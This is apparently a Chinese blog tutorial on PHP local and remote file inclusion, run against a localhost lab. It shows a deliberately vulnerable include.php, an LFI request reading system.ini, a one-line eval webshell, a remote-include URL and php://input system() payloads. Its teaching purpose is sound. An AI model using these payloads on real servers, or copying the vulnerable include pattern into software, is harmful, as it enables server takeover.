文件包含漏洞学习笔记

1、为何会出现文件包含漏洞

相同内容或方法在多个页面显示或调用,文件包含漏洞又称为目录遍历漏洞或任意文件访问漏洞。分为本地文件包含(LFI:Local File Inclusion),远程文件包含(RFI:Remote File  Inclusion),也可分为静态文件包含,动态文件包含。

2、静态文件包含

页面中直接引用静态文件。

main.php内容如下:

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Home</title>
  </head>	
  <body>
    <h1>这是你第二次访问本网站</h1>
    <p>为何用TextEditor编写的汉字打开就乱码?</p>
    <p>欢迎下次再来!</p>
    <?php include 'footer.php'; ?>
  </body>
</html>

footer.php文件内容如下:

<?php 
header("content-type:text/html;charset=utf-8");
echo "<p>copyright @ 2023-".date("Y")."测试网</p>"; 
?>

静态文件包含效果:

浏览器访问:  http://127.0.0.1/fileinc/main.php?

 3、动态文件包含

被包含的文件通过参数传入,增加了页面包含的灵活性。

include.php文件内容如下:

<?php
    $file = $_GET['file'];
    if(isset($file)){
        include("$file");
    }else{
        echo "file fail!";
    }
?>

动态文件包含效果:

浏览器访问:  http://127.0.0.1/fileinc/include.php?file=footer.php

4、 漏洞利用

可以访问系统敏感文件,也可以包含恶意代码文件或图片码。

漏洞利用效果:

浏览器访问: http://127.0.0.1/fileinc/include.php?file=C:\Windows\system.ini ,访问网站所在服务器的C:\Windows\system.ini中的敏感信息。

shell.php文件内容如下:

<?php
    header("Content-type:text/html;charset=gb1232");
    echo "<pre>";
    @eval($_POST['shell']);
?>

漏洞利用效果:

浏览器访问:  http://127.0.0.1/fileinc/include.php?file=shell.php ,可以通过“中国蚁剑”来访问服务器资源。即利用上传的木马获取服务器shell执行权限。

 5、远程文件包含

 远程文件包含的前提,需要将php.in中如下2个配置选项启用,

allow_url_fopen=On,allow_url_include=On

远程文件包含效果:

浏览器访问:http://127.0.0.1/fileinc/include.php?file=http://remote.include.com/fileremote/info.php ,这个远程文件可以是获取phpinfo信息,也可以是一句话木马……

 6、涉及到的文件包含函数

include()                          包含并运行指定文件

include_once()                只包含一次,不重复包含

require()                          和include()一样,不过出错时会停止

require_once()                和include_once()一样,不过出错时会停止

fopen()                             打开文件或者url

readfile()                           读取文件并写入到输出缓冲

highlight_file()                  语法高亮一个文件

show_source()                 语法高亮一个文件

file_get_contents()           将整个文件读入一个字符串

file()                                   把整个文件读入一个数组中

7、涉及到的PHP伪协议

file://        访问本地文件系统

http://       访问http或https网址

ftp://          访问ftp或ftps网址

php://       访问各个输入或输出流(I/O Streams)

zlib://         访问压缩流

data://        访问数据(RFC 2397)

glob://        查找匹配的文件路径模式

phar://        PHP归档

ssh2://       安全外壳协议2

rar://           RAR

ogg://         音频流

expect://    处理交互式的流

使用说明请参考:https://www.php.net/manual/zh/wrappers.php

注意:

php://input 可以使用抓包工具,添加输入流信息(如:<?php system('ls /'); ?> 或 <?= system(cat /filename); ?> 或 <?= `ls /`; ?>)。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值